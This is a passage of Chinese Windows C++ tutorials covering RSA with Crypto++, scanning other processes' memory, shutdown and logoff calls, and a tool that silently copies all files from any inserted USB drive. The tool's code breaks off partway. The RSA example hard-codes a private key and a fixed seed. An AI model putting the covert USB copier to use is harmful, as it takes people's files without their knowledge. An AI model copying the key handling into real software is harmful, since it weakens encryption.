  • 基于Crypto++库的RSA非对称加密实现对数据的加解密

    背景写了一个基于Crypto++加密库中RSA非对称加密算法实现的对数据加密和解密的一个小程序,Crypto++加密库就不详细介绍了,这个库提供了很多知名的加解密算法,直接调用就好了,使用起来还是比较方便的。
    写这篇文章,就是分享自己的学习心得。自己的密码学部分的知识学得不怎么好,还好有Crypto++开源库可以使用,弥补了对加解密部分的不足。现在,向大家分享使用Crypto++中的RSA非对称加密算法实现对数据的加密解密方面的知识。
    程序编译设置注意事项首先,先要下载Crypto++库的开源代码,然后,自己编译得到Crypto++的库文件。下载链接还有具体的编译步骤,可以参考这个平台上其他用户写的分享文章“使用VS2013编译Crypto++加密库”,里面有详细介绍。
    在导入Crypto++的库文件到自己的工程项目的时候,要对自己的工程项目进行编译设置。主要一点就是:项目工程的属性中的“运行库”设置,要与编译Crypto++的库文件时设置的“运行库”选项要对应一致,否则程序会编译不过的。也就是要检查LIB库工程和本测试工程的:属性 —> C/C++ —> 代码生成 —> 运行库 是否统一。
    如果编译出错,报告XX重复定义等错误,同样,要检查LIB库工程和本测试工程的:属性 —> C/C++ —> 代码生成 —> 运行库 是否统一。
    程序设计原理1. 产生公钥和私钥文件原理RSA是非对称加密算法,所以它的加密和解密的密钥是不同的,它有自己的公钥和私钥。在正常的使用过程中,公钥一般是用来加密数据,私钥用来解密数据。反之,也可以。公钥可以公开,但是私钥不可以公开。
    对于Crypto++库产生公私钥的原理如下:

    首先用类RandomPool的方法Put()产生种子seed的byte型伪随机
    RSAES_OAEP_SHA_Decryptor是一个解密的公钥密码系统在文件rsa.h 有如下定义:

    typedef RSAES<OAEP<SHA>>::Decryptor RSAES_OAEP_SHA_Decryptor; 就是在这个类用前面产生的伪随机数和密钥长度keyLength生解密的密钥
    接着,通过类FileSink打开文件szPrivateKeyFileName实行序列化操作,用HexEncoder把它转换为十六进制
    最后,用DEREncode把上面处理好的密码对象写入文件

    这样就得到私钥密码的密钥文件了。产生公钥文件的方法和产生私钥密码文件不同的地方就是使用了RSAES_OAEP_SHA_Encryptor是一个加密的公钥密码系统, 在文件rsa.h 有如下定义:
    typedef RSAES<OAEP<SHA>>::Encryptor RSAES_OAEP_SHA_Encryptor; 是用上面产生的密钥密码系统priv来生成相应公钥。
    2. 使用RSA公钥加密数据实现原理RSA公钥加密可以分成以下两种形式:一种是公钥存储在文件中,加密时,从文件获取密钥;另一种是公钥存储在程序中,直接传递存储密钥的地址。虽然,这两种形式只是公钥传递的形式上的区别,RSA加密的原理还是一样的。但,从编程的角度,把这两个进行区分。
    先介绍公钥存储在文件中的方式,那么RSA公钥加密的实现原理是:

    首先用类RandomPool在种子seed下用方法Put()产生伪随机数,Seed可以任取
    用类FileSource对公钥文件pubFilename进行一定的转换放入临时缓冲区,并把它从十六进制转换为byte型
    然后用FileSource的对象pubFile 实例化公钥密码系统RSAES_OAEP_SHA_Encryptor生成对象pub
    用类StringSink 把outstr添加到一个String对象,接着用HexEncoder把这个对象转换为十六进制
    然后用伪随机数randPool、公钥密码系统pub和十六进制的String对象实例化一个公钥密码加密的过滤器,再用这个过滤器对字符串message进行加密把结果放到十六进制的字符串result里,这样就完成了对字符串的加密

    那么,对于另一种公钥存储在程序中的方式,RSA公钥加密的原理和上面的区别,只是在第 2 步的区别,也就是用类StringSource对公钥文件pubFilename进行一定的转换放入临时缓冲区,并把它从十六进制转换为byte型。
    3. 使用RSA私钥钥解密数据实现原理同样,对应上述的公钥加密,私钥解密同样区分两种私钥获取的形式。
    先介绍私钥存储在文件中的方式,那么RSA私钥解密的实现原理的基本流程跟加密的基本流程差不多,就使用了几个不同的类,但是这些类跟加密函数的对应类的功能是相对的,很容易理解。

    用类FileSource对私钥文件privFilename进行一定的转换放入临时缓冲区,并把它从十六进制转换为byte型
    然后用FileSource的对象privFile 实例化公钥密码系统RSAES_OAEP_SHA_Decryptor生成对象priv
    用类StringSink 把outstr添加到一个String对象,接着用HexEncoder把这个对象转换为十六进制
    然后用伪随机数randPool、私钥密码系统prov和十六进制的String对象实例化一个私钥密码解密的过滤器,再用这个过滤器对字符串message进行解密把结果放到十六进制的字符串result里,这样就完成了对字符串的解密

    和加密一样,对于另一种私钥存储在程序中的方式,RSA私钥解密的原理和上面的区别,只是在第 1 步的区别,也就是用类StringSource对公钥文件provFilename进行一定的转换放入临时缓冲区,并把它从十六进制转换为byte型。
    编程实现1. 导入Crypt++库文件//*************************************************// crypt++加密库的头文件和静态库//*************************************************#include "crypt\\include\\rsa.h"#include "crypt\\include\\randpool.h"#include "crypt\\include\\hex.h"#include "crypt\\include\\files.h"using namespace CryptoPP; // 命名空间#ifdef _DEBUG #ifdef _WIN64 #pragma comment(lib, "crypt\\lib\\x64\\debug\\cryptlib.lib") #else #pragma comment(lib, "crypt\\lib\\x86\\debug\\cryptlib.lib") #endif#else #ifdef _WIN64 #pragma comment(lib, "crypt\\lib\\x64\\release\\cryptlib.lib") #else #pragma comment(lib, "crypt\\lib\\x86\\release\\cryptlib.lib") #endif#endif//*************************************************
    2. RSA产生公私钥实现BOOL GenerateRSAKey(DWORD dwRSAKeyLength, char *pszPrivateKeyFileName, char *pszPublicKeyFileName, BYTE *pSeed, DWORD dwSeedLength){ RandomPool randPool; randPool.Put(pSeed, dwSeedLength); // 生成RSA私钥 RSAES_OAEP_SHA_Decryptor priv(randPool, dwRSAKeyLength); HexEncoder privFile(new FileSink(pszPrivateKeyFileName)); // 打开文件实行序列化操作 priv.DEREncode(privFile); privFile.MessageEnd(); // 生成RSA公钥 RSAES_OAEP_SHA_Encryptor pub(priv); HexEncoder pubFile(new FileSink(pszPublicKeyFileName)); // 打开文件实行序列化操作 pub.DEREncode(pubFile); // 写密码对象pub到文件对象pubFile里 pubFile.MessageEnd(); return TRUE;}
    3. RSA公钥加密实现1> 公钥存储在文件实现string RSA_Encrypt_ByFile(char *pszOriginaString, char *pszPublicKeyFileName, BYTE *pSeed, DWORD dwSeedLength){ RandomPool randPool; randPool.Put(pSeed, dwSeedLength); FileSource pubFile(pszPublicKeyFileName, TRUE, new HexDecoder); RSAES_OAEP_SHA_Encryptor pub(pubFile); // 加密 string strEncryptString; StringSource(pszOriginaString, TRUE, new PK_EncryptorFilter(randPool, pub, new HexEncoder(new StringSink(strEncryptString)))); return strEncryptString;}
    2> 公钥存储在程序中string RSA_Encrypt_ByMem(char *pszOriginaString, char *pszMemPublicKey, BYTE *pSeed, DWORD dwSeedLength){ RandomPool randPool; randPool.Put(pSeed, dwSeedLength); StringSource pubStr(pszMemPublicKey, TRUE, new HexDecoder); RSAES_OAEP_SHA_Encryptor pub(pubStr); // 加密 string strEncryptString; StringSource(pszOriginaString, TRUE, new PK_EncryptorFilter(randPool, pub, new HexEncoder(new StringSink(strEncryptString)))); return strEncryptString;}
    4. RSA私钥解密实现1> 公钥存储在文件实现string RSA_Decrypt_ByFile(char *pszEncryptString, char *pszPrivateKeyFileName){ FileSource privFile(pszPrivateKeyFileName, TRUE, new HexDecoder); RSAES_OAEP_SHA_Decryptor priv(privFile); string strDecryptString; StringSource(pszEncryptString, TRUE, new HexDecoder(new PK_DecryptorFilter(GlobalRNG(), priv, new StringSink(strDecryptString)))); return strDecryptString;}
    2> 公钥存储在程序中string RSA_Decrypt_ByMem(char *pszEncryptString, char *pszMemPrivateKey){ StringSource privStr(pszMemPrivateKey, TRUE, new HexDecoder); RSAES_OAEP_SHA_Decryptor priv(privStr); string strDecryptString; StringSource(pszEncryptString, TRUE, new HexDecoder(new PK_DecryptorFilter(GlobalRNG(), priv, new StringSink(strDecryptString)))); return strDecryptString;}
    程序测试在main函数中调用上面封装好的函数进行测试,main函数为:
    char g_szPubKey[] = "30819D300D06092A864886F70D010101050003818B0030818702818100F0CE882D7CCB990323A6DB1B775EBE8F2910BFE75B4B580EF8C5089BB25FEDEEABCE2BBD2AC64A138E47F96A6C39152FE98067C0B4F5DC28F8D9394325ADB12A90A9598FF7A2A7211DEF974FC8A005D0CBCDE059FB8F7F9D214C5BAC2532CEB8EC4041AEAB19E80B8C4020F4A50102F9E738647E2384EA2FCD30C3681559CF6F020111";char g_szPrivKey[] = "30820275020100300D06092A864886F70D01010105000482025F3082025B02010002818100F0CE882D7CCB990323A6DB1B775EBE8F2910BFE75B4B580EF8C5089BB25FEDEEABCE2BBD2AC64A138E47F96A6C39152FE98067C0B4F5DC28F8D9394325ADB12A90A9598FF7A2A7211DEF974FC8A005D0CBCDE059FB8F7F9D214C5BAC2532CEB8EC4041AEAB19E80B8C4020F4A50102F9E738647E2384EA2FCD30C3681559CF6F020111028180210D49E8203005F15F3F0F03C5170B18AB4892CF70EC39434F52426FB91C39C162E0100AE7C0DCFDAA1DF50E9B67351AA7942251AA68051EB8BE7145739A599220030CF5E35ED4DEA41DD6E955722AE46153339FE7417BD00ADF53B368EAB6E71FAE0F7F394A34C91612B0F11AEC5525DB84DD982E6BF10CE74F177FA51ADC51024100F80296900AF134CCC5AC12C58D741C735F5EE9CBDFB8C1B1EB039BF078E37B09322074193B7B0AE5A60B544DDDB9159294E91744404A2C7CDF96287F5483D691024100F8908925066C3ED9AC8EAFE63A59D56FCBEC354A3DD513489DEDA70E42338CD2AEBDEEF685148123B31A55CA27B2A59CA53E2352DA284F30585A5D6B571245FF02410091E367A0066FC4B4B083565616F901AD4728C5C3384E900E4E021F7E653A849BFF5E6269320C24871661046A09F4670AEE2EC264620D8394BFC1BD781398D891024057BA8AC1C608162EB55F896050D46972C0717C38520EF7BF46CC5914175D7CFF107F4547F2BBF157E4DC1E47594E1C55677F57C2E395C19897A76C44009D09A5024100BBB92D3E8776B52FA20303E39FE8AE862637BB75880D82C6580C3217445C4A95BFB6E94120AD62AADC313418A350FF21B0ED861848626CC0F55936F750B44FC4";int _tmain(int argc, _TCHAR* argv[]){ char szPrivateFile[] = "privatefile"; char szPublicFile[] = "publicfile"; char szSeed[] = "WriteBugWriteBug"; char szOriginalString[] = "WRITE-BUG技术共享平台 - 一个专注校园计算机技术交流共享的平台"; /* 密钥在文件方式 */ // 生成RSA公私密钥对 GenerateRSAKey(1024, szPrivateFile, szPublicFile, (BYTE *)szSeed, ::lstrlen(szSeed)); // RSA公钥加密字符串 string strEncryptString = RSA_Encrypt_ByFile(szOriginalString, szPublicFile, (BYTE *)szSeed, ::lstrlen(szSeed)); // RSA私钥解密字符串 string strDecryptString = RSA_Decrypt_ByFile((char *)strEncryptString.c_str(), szPrivateFile); // 显示 printf("原文字符串:\n[%d]%s\n", ::lstrlen(szOriginalString), szOriginalString); printf("密文字符串:\n[%d]%s\n", strEncryptString.length(), strEncryptString.c_str()); printf("解密明文字符串:\n[%d]%s\n", strDecryptString.length(), strDecryptString.c_str()); printf("\n\n"); /* 密钥在内存方式 */ // RSA公钥加密字符串 string strEncryptString_Mem = RSA_Encrypt_ByMem(szOriginalString, g_szPubKey, (BYTE *)szSeed, ::lstrlen(szSeed)); // RSA私钥解密字符串 string strDecryptString_Mem = RSA_Decrypt_ByMem((char *)strEncryptString_Mem.c_str(), g_szPrivKey); // 显示 printf("原文字符串:\n[%d]%s\n", ::lstrlen(szOriginalString), szOriginalString); printf("密文字符串:\n[%d]%s\n", strEncryptString_Mem.length(), strEncryptString_Mem.c_str()); printf("解密明文字符串:\n[%d]%s\n", strDecryptString_Mem.length(), strDecryptString_Mem.c_str()); system("pause"); return 0;}
    测试结果为:

    根据图片显示,数据成功被加密和解密,两种公钥存储形式测试均成功。
    总结使用Crypto++库的好处之一,就是方便易用,即使你不了解具体的加密算法,但你只要知道要使用的加密算法这个名称,依然可以做出使用相应的加密算法进行数据加解密。
    参考参考自《Windows黑客编程技术详解》一书
    2 留言 2018-11-15 08:20:03 奖励6点积分
  • 内存快速搜索遍历 精华

    背景相比很多人都用过内存搜索软件 Cheat Engine 吧,它里面提供了强大进程内存搜索功能,搜索速度很快,搜索结果也很精确。我之前对内存搜索也稍微专研了一下,是因为当时需要写一个小程序,那个小程序的功能就是可以搜索出指定进程指定值的内存地址,这个CE就能做,只不过是要在自己的程序里实现内存的搜索。
    内存的遍历搜索,说难也不难,说容易也不容易。因为你可以做得比较简单,也可以做得比较完美,这主要是在搜索效率上的区别而已。简单的搜索方法就是直接暴力搜索内存,直接从0地址搜索到0x7FFFFFFF地址处,因为低 2GB 进程空间是用户空间。然后,匹配值就可以了。难点的,就是过滤掉一些内存地址,不用搜索。例如,进程加载基址之前的地址空间,就可以不用搜索等等,以此来缩小搜索的范围,提升搜索效率。
    本文就是对内存遍历实现快速搜索,当然,这肯定不会是最快的搜索方式,只是相对的快速。我们也是通过加载基址,以及内存空间地址信息,缩小搜索的范围,提升搜索效率。现在,就把实现过程整理成文档,分享给大家。
    函数介绍VirtualQueryEx 函数
    查询地址空间中内存地址的信息。
    函数声明
    DWORD VirtualQueryEx( HANDLE hProcess, LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, DWORD dwLength);
    参数

    hProcess:进程句柄。lpAddress:查询内存的地址。lpBuffer:指向MEMORY_BASIC_INFORMATION结构的指针,用于接收内存信息。dwLength:MEMORY_BASIC_INFORMATION结构的大小。
    返回值

    返回值是信息缓冲区中返回的实际字节数。如果函数失败,返回值是 0。为了获得更多的错误信息,调用GetLastError。

    MEMORY_BASIC_INFORMATION 结构体
    结构体声明
    typedef struct _MEMORY_BASIC_INFORMATION { PVOID BaseAddress; // 区域基地址 PVOID AllocationBase; // 分配基地址 DWORD AllocationProtect; // 区域被初次保留时赋予的保护属性 SIZE_T RegionSize; // 区域大小(以字节为计量单位) DWORD State; // 状态(MEM_FREE、MEM_RESERVE或 MEM_COMMIT) DWORD Protect; // 保护属性 DWORD Type; // 类型} MEMORY_BASIC_INFORMATION, *PMEMORY_BASIC_INFORMATION;
    成员

    BaseAddress:与lpAddress参数的值相同,但是四舍五入为页面的边界值。AllocationBas:指明用VirtualAlloc函数分配内存区域的基地址。lpAddress在该区域之内。AllocationProtect:指明该地址空间区域被初次保留时赋予该区域的保护属性。PAGE_READONLY:只读属性,如果试图进行写操作,将引发访问违规。如果系统区分只读、执行两种属性,那么试图在该区域执行代码也将引发访问违规。PAGE_READWRITE:允许读写。PAGE_EXECUTE:只允许执行代码,对该区域试图进行读写操作将引发访问违规。PAGE_EXECUTE_READ:允许执行和读取。PAGE_EXECUTE_READWRITE:允许读写和执行代码。PAGE_EXECUTE_WRITECOPY:对于该地址空间的区域,不管执行什么操作,都不会引发访问违规。如果试图在该页面上的内存中进行写入操作,就会将它自己的私有页面(受页文件的支持)拷贝赋予该进程。PAGE_GUARD:在页面上写入一个字节时使应用程序收到一个通知(通过一个异常条件)。PAGE_NOACCESS:禁止一切访问。PAGE_NOCACHE:停用已提交页面的高速缓存。一般情况下最好不要使用该标志,因为它主要是供需要处理内存缓冲区的硬件设备驱动程序的开发人员使用的。RegionSize 用于指明内存块从基地址即BaseAddress开始的所有页面的大小(以字节为计量单位)这些页面与含有用LpAddress参数设定的地址的页面拥有相同的保护属性、状态和类型。State:用于指明所有相邻页面的状态。MEM_COMMIT:指明已分配物理内存或者系统页文件。MEM_FREE:空闲状态。该区域的虚拟地址不受任何内存的支持。该地址空间没有被保留。该状态下AllocationBase、AllocationProtect、Protect和Type等成员均未定义。MEM_RESERVE:指明页面被保留,但是没有分配任何物理内存。该状态下Protect成员未定。Protect:用于指明所有相邻页面(内存块)的保护属性。这些页面与含有拥有相同的保属性、状态和类型。意义同AllocationProtect。Type:用于指明支持所有相邻页面的物理存储器的类型(MEM_IMAGE,MEM_MAPPED或MEM_PRIVATE)。这些相邻页面拥有相同的保护属性、状态和类型。如果是Windows 98,那么这个成员将总是MEM_PRIVATE 。MEM_IMAGE:指明该区域的虚拟地址原先受内存映射的映像文件(如.exe或DLL文件)的支持,但也许不再受映像文件的支持。例如,当写入模块映像中的全局变量时,“写入时拷贝”的机制将由页文件来支持特定的页面,而不是受原始映像文件的支持。MEM_MAPPED:该区域的虚拟地址原先是受内存映射的数据文件的支持,但也许不再受数据文件的支持。例如,数据文件可以使用“写入时拷贝”的保护属性来映射。对文件的任何写入操作都将导致页文件而不是原始数据支持特定的页面。MEM_PRIVATE:指明该内存区域是私有的。不被其他进程共享。

    ReadProcessMemory 函数
    在指定的进程中从内存区域读取数据。 要读取的整个区域必须可访问或操作失败。
    函数声明
    BOOL WINAPI ReadProcessMemory( _In_ HANDLE hProcess, _In_ LPCVOID lpBaseAddress, _Out_ LPVOID lpBuffer, _In_ SIZE_T nSize, _Out_ SIZE_T *lpNumberOfBytesRead);
    参数

    hProcess [in]具有正在读取的内存的进程的句柄。 句柄必须具有进程的PROCESS_VM_READ访问权限。lpBaseAddress [in]指向从中读取的指定进程中的基地址的指针。 在发生任何数据传输之前,系统将验证指定大小的基地址和内存中的所有数据都可访问以进行读取访问,如果不可访问,则该函数将失败。lpBuffer [out]指向从指定进程的地址空间接收内容的缓冲区的指针。nSize [in]要从指定进程读取的字节数。lpNumberOfBytesRead [out]指向一个变量的指针,该变量接收传输到指定缓冲区的字节数。 如果lpNumberOfBytesRead为NULL,则该参数将被忽略。
    返回值

    如果函数成功,则返回值不为零。如果函数失败,返回值为0(零)。 要获取扩展错误信息,请调用GetLastError。

    实现原理实现内存的快速搜索,我们主要是缩小搜索的范围,来提升的搜索效率。缩小搜索范围的方法有,一是过滤掉进程加载基址之前的内存地址;二是获取内存空间地址信息,把内存状态不是 MEM_COMMIT 以及保护属性没有读权限的内存区域都过滤掉。
    所以,获取进程加载基址以及获取内存空间地址信息比较关键。
    大概分为以下 7 个步骤:

    首先,我们调用 OpenProcess 函数根据进程 PID 打开进程,并获取进程的句柄,进程句柄的权限为 PROCESS_ALL_ACCESS
    然后,我们根据进程句柄,获取指定进程的加载基址。对于进程加载基址的获取,我们使用的是 EnumProcessModules 函数来获取。其它的的进程基址获取方法,可以参考本站上其他网友写的“获取指定进程的加载基址”这篇文章
    接着,以进程加载基址作为内存搜索的起始地址,调用 VirtualQueryEx 函数查询地址空间中内存地址的信息,然后将内存页面状态不是MEM_COMMIT 过滤掉,即过滤掉没有分配物理内存或者系统页文件。同时,也把没有读权限的页面属性保护都过滤掉
    通过内存地址的信息过滤之后,我们就可以调用 ReadProcessMemory 函数把对应的内存区域读取到自己进程的缓冲区中
    接着,我们就可以匹配内存,搜索指定的内存,并获取制定进程内存地址
    然后,获取下一块内存区域的起始地址,继续重复上面3、4、5步操作,直到满足退出条件
    最后,我们就释放内存,并关闭进程句柄

    这样,就是先了内存的快速遍历搜索。
    编码实现// 搜索内存BOOL SearchMemory(DWORD dwProcessId, PVOID pSearchBuffer, DWORD dwSearchBufferSize){ // 根据PID, 打开进程获取进程句柄 HANDLE hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId); if (NULL == hProcess) { ShowError("OpenProcess"); return FALSE; } // 获取进程加载基址 HMODULE hModule = NULL; ::EnumProcessModules(hProcess, &hModule, sizeof(HMODULE), NULL); // 把加载基址作为遍历内存的起始地址, 开始遍历 BYTE *pSearchAddress = (BYTE *)hModule; MEMORY_BASIC_INFORMATION mbi = {0}; DWORD dwRet = 0; BOOL bRet = FALSE; BYTE *pTemp = NULL; DWORD i = 0; BYTE *pBuf = NULL; while (TRUE) { // 查询地址空间中内存地址的信息 ::RtlZeroMemory(&mbi, sizeof(mbi)); dwRet = ::VirtualQueryEx(hProcess, pSearchAddress, &mbi, sizeof(mbi)); if (0 == dwRet) { break; } // 过滤内存空间, 根据内存的状态和保护属性进行过滤 if ((MEM_COMMIT == mbi.State) && (PAGE_READONLY == mbi.Protect || PAGE_READWRITE == mbi.Protect || PAGE_EXECUTE_READ == mbi.Protect || PAGE_EXECUTE_READWRITE == mbi.Protect)) { // 申请动态内存 pBuf = new BYTE[mbi.RegionSize]; ::RtlZeroMemory(pBuf, mbi.RegionSize); // 读取整块内存 bRet = ::ReadProcessMemory(hProcess, mbi.BaseAddress, pBuf, mbi.RegionSize, &dwRet); if (FALSE == bRet) { ShowError("ReadProcessMemory"); break; } // 匹配内存 for (i = 0; i < (mbi.RegionSize - dwSearchBufferSize); i++) { pTemp = (BYTE *)pBuf + i; if (RtlEqualMemory(pTemp, pSearchBuffer, dwSearchBufferSize)) { // 显示搜索到的地址 printf("0x%p\n", ((BYTE *)mbi.BaseAddress + i)); } } // 释放内存 delete[]pBuf; pBuf = NULL; } // 继续对下一块内存区域进行遍历 pSearchAddress = pSearchAddress + mbi.RegionSize; } // 释放内存, 关闭句柄 if (pBuf) { delete[]pBuf; pBuf = NULL; } ::CloseHandle(hProcess); return TRUE;}
    程序测试我们直接运行程序,对 520.exe 进程进行搜索,搜索值为 0x00905A4D 的地址都哪些,程序成功列举所有的地址。

    总结这个程序,通过以进程加载基址为搜索起始地址、判断地址内存空间信息过滤一些内存状态不是 MEM_COMMIT 以及保护属性没有读权限的内存区域,以此来缩小搜索的范围,提升搜索的效率。
    大家注意理解 VirtualQueryEx 函数以及 ReadProcessMemory 函数的参数使用方式,同时也要注意不同进程内存空间的转换。
    参考参考自《Windows黑客编程技术详解》一书
    2 留言 2018-11-23 18:38:50 奖励25点积分
  • 两种方法编程实现锁屏注销关机操作

    背景我们对计算机锁屏、注销、关机通常都是点击鼠标去操作,但是,大家有没有试过编程去实现。
    或许对命令行熟悉的读者,会想到可以使用CMD命令去实现注销、关机、重启等操作。是的,这个可以实现,而且使用命令行实现,是本文讲解的一种实现方法之一。另一种方法,就是使用Win32 API函数 ExitWindowsEx 去实现注销、关机等操作,使用 LockWorkStation 函数实现锁屏操作。
    现在,本文就把实现过程和原理写成文档,分享给大家。
    函数声明LockWorkStation 函数
    可以锁定工作站保护其免受未经授权者使用。
    函数声明
    BOOL WINAPI LockWorkStation(void);
    参数

    无参数
    返回值

    如果函数成功,则返回值为非零值。由于该函数以异步方式执行,返回非零值指示操作已启动。它并不表示是否已成功锁定工作站。

    ExitWindowsEx 函数
    用来退出、重启或注销系统。
    函数声明
    BOOL ExitWindowsEx( UINT uFlags, // 关闭参数 DWORD dwReserved // 系统保留,一般取0)
    参数

    uFlags指定关闭的类型。此参数必须有下列值的组合:



    VALUE
    MEANING




    EWX_FORCE
    强制终止进程。当此标志设置,Windows不会发送消息WM_QUERYENDSESSION和WM_ENDSESSION的消息给目前在系统中运行的程序。这可能会导致应用程序丢失数据。因此,你应该只在紧急情况下使用此标志。


    EWX_LOGOFF
    关闭所有进程,然后注销用户。


    EWX_POWEROFF
    关闭系统并关闭电源。该系统必须支持断电。Windows NT中调用进程必须有 SE_SHUTDOWN_NAME 特权。


    EWX_REBOOT
    关闭系统,然后重新启动系统。Windows NT中:调用进程必须有SE_SHUTDOWN_NAME特权。


    EWX_SHUTDOWN
    关闭系统,安全地关闭电源。所有文件缓冲区已经刷新到磁盘上,所有正在运行的进程已经停止。Windows NT中:调用进程必须有SE_SHUTDOWN_NAME特权。




    dwReserved系统保留,这参数被忽略。一般取0。
    返回值

    如果函数成功,返回值为非零。如果函数失败,返回值是零。想获得更多错误信息,请调用GetLastError函数。

    实现原理我们可以使用命令行 shutdown 指令来实现注销、关机和重启等功能,但这个指令支持实现锁屏功能。
    Win32 API 函数 LockWorkStation 支持实现锁屏功能。
    Win32 API 函数 ExitWindowsEx 支持实现注销、关机、重启、关电源等功能。而且,实现这些操作需要有权限才行。
    所以,对于使用命令行方式,我们可以使用函数 system 去实现CMD命令。
    关机的CMD指令是:
    system("shutdown -p"); // 或者system("shutdown -s");
    注销的CMD命令是:
    system("shutdown -l");
    重启的CMD命令是:
    system("shutdown -r");
    那么对于使用API函数来实现的话,我们直接调用相应的API。
    锁屏实现的核心代码是:
    ::LockWorkStation();
    系统注销实现的核心代码是:
    ::ExitWindowsEx(EWX_LOGOFF, 0)
    系统关机实现的核心代码是:
    ::ExitWindowsEx(EWX_SHUTDOWN, 0)
    系统关机实现的核心代码是:
    ::ExitWindowsEx(EWX_REBOOT, 0)需要注意的是,如果使用 ExitWindowsEx 函数来实现关机和重启的操作,需要进程必须要有 SE_SHUTDOWN_NAME 权限,如果没有,则必须先提权,才可以成功使用此函数。因为进程提权的知识,超出了本文讲解的内容范畴,所以在本文就不详细讲解进程提权的操作了,只给出实现代码。
    编码实现进程提权到 SE_SHUTDOWN_NAME 权限// 进程提权BOOL EnableProcessPrivilege(){ HANDLE hToken; if (!::OpenProcessToken(::GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) { ShowError("OpenProcessToken"); return FALSE; } TOKEN_PRIVILEGES tkp; // 修改进程权限 if (!::LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid)) { ShowError("LookupPrivilegeValue"); return FALSE; } tkp.PrivilegeCount = 1; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // 通知系统修改进程权限 if (!::AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL)) { ShowError("AdjustTokenPrivileges"); return FALSE; } return TRUE;}
    CMD方式实现 注销// CMD方式实现 注销BOOL CMD_LogOff(){ system("shutdown -l"); return TRUE;}
    CMD方式实现 关机// CMD方式实现 关机BOOL CMD_Shutdown(){ system("shutdown -p"); return TRUE;}
    CMD方式实现 重启// CMD方式实现 重启BOOL CMD_Reboot(){ system("shutdown -r"); return TRUE;}
    API方式实现 锁屏// API方式实现 锁屏BOOL API_Lock(){ BOOL bRet = ::LockWorkStation(); return bRet;}
    API方式实现 注销// API方式实现 注销BOOL API_LogOff(){ BOOL bRet = ::ExitWindowsEx(EWX_LOGOFF, 0); return bRet;}
    API方式实现 关机// API方式实现 关机BOOL API_Shutdown(){ BOOL bRet = ::ExitWindowsEx(EWX_SHUTDOWN, 0); return bRet;}
    API方式实现 重启// API方式实现 重启BOOL API_Reboot(){ BOOL bRet = ::ExitWindowsEx(EWX_REBOOT, 0); return bRet;}
    总结需要注意的是,如果使用 ExitWindowsEx 函数来实现关机和重启的操作,需要进程必须要有 SE_SHUTDOWN_NAME 权限,如果没有,则必须先提权,才可以成功使用此函数。
    注意,此程序的功能实现不需要管理员权限就可以实现,上面提到的提升进程权限,并不是指获取管理员权限,而是指将修改进程令牌,实现进程权限的提升。而本文,进程提升到 SE_SHUTDOWN_NAME 权限不需要程序以管理员权限运行就可以成功提升。而对于其它的进程权限提升,例如进程提升到 SE_DEBUG_NAME 权限,则需要程序以管理员权限运行方可成功提权。
    参考参考自《Windows黑客编程技术详解》一书
    3 留言 2018-11-07 10:56:06 奖励5点积分
  • 编程实现U盘插入自动复制U盘内容到本地

    背景U盘插入计算机后,不用任何操作,程序自动将U盘里的文件都拷贝到本地计算机上。这个功能是我自己开发的“恶魔的结界”系列程序里的一个小功能,至于有什么用,那就看个人的爱好了。在此,只探讨技术,不探讨用途。
    现在,我就对它进行解析,整理成文档,分享给大家。
    实现原理这个程序的实现,可以分成两个部分:

    U盘设备插入的监控,获取U盘盘符
    根据U盘盘符,遍历U盘文件,并进行复制操作

    首先,对U盘设备插入的监控,可以参考我写的 “编程实现监控U盘或者其它移动设备的插入和拔出” 这篇文章,使用方法是对程序添加 WM_DEVICECHANGE 消息处理函数,并根据 DEV_BROADCAST_VOLUME 结构体的 dbcv_unitmask 逻辑单元掩码来计算出插入设备U盘的盘符。
    我们成功获取了U盘盘复制后,也就知道了U盘的路径了。所以,我们使用WIN 32 API 函数 FindFirstFile 和 FindNextFile 从U盘的根目录进行文件遍历,具体的遍历方法解析可以参考本站上其他人写的 “使用FindFirstFile和FindNextFile函数实现文件搜索遍历” 这篇文章。 对于遍历到的文件,我们就调用 CopyFile 函数将它静默拷贝到本地指定的存储路径中。
    这样,经过上述的两步操作,我们就可以实现插入U盘,自动拷贝U盘文件到本地的功能了。
    编码实现U盘插入监控// 监控U盘插入并获取U盘盘符LRESULT CUDiskCopy_TestDlg::OnDeviceChange(WPARAM wParam, LPARAM lParam){ switch (wParam) { // 设备已经插入 case DBT_DEVICEARRIVAL: { PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam; // 逻辑卷 if (DBT_DEVTYP_VOLUME == lpdb->dbch_devicetype) { // 根据 dbcv_unitmask 计算出设备盘符 PDEV_BROADCAST_VOLUME lpdbv = (PDEV_BROADCAST_VOLUME)lpdb; DWORD dwDriverMask = lpdbv->dbcv_unitmask; DWORD dwTemp = 1; char szDriver[4] = "A:"; for (szDriver[0] = 'A'; szDriver[0] <= 'Z'; szDriver[0]++) { if (0 < (dwTemp & dwDriverMask)) { // 获取设备盘符, 开始执行拷贝, 从目标设备拷贝到本地上 SearchFile(szDriver); } // 左移1位, 接着判断下一个盘符 dwTemp = (dwTemp << 1); } } break; } default: break; } return 0;}
    U盘文件遍历及拷贝// 遍历文件并复制void SearchFile(char *pszDirectory){ // 搜索指定类型文件 DWORD dwBufferSize = 2048; char *pszFileName = NULL; char *pTempSrc = NULL; WIN32_FIND_DATA FileData = { 0 }; BOOL bRet = FALSE; // 申请动态内存 pszFileName = new char[dwBufferSize]; pTempSrc = new char[dwBufferSize]; // 构造搜索文件类型字符串, *.*表示搜索所有文件类型 ::wsprintf(pszFileName, "%s\\*.*", pszDirectory); // 搜索第一个文件 HANDLE hFile = ::FindFirstFile(pszFileName, &FileData); if (INVALID_HANDLE_VALUE != hFile) { do { // 要过滤掉 当前目录"." 和 上一层目录"..", 否则会不断进入死循环遍历 if ('.' == FileData.cFileName[0]) { continue; } // 拼接文件路径 ::wsprintf(pTempSrc, "%s\\%s", pszDirectory, FileData.cFileName); // 判断是否是目录还是文件 if (FileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { // 目录, 则继续往下递归遍历文件 SearchFile(pTempSrc); } else { // 文件, 执行复制操作, 复制到本地上 char szNewFile[MAX_PATH] = "C:\\Users\\Desktop\\test\\"; 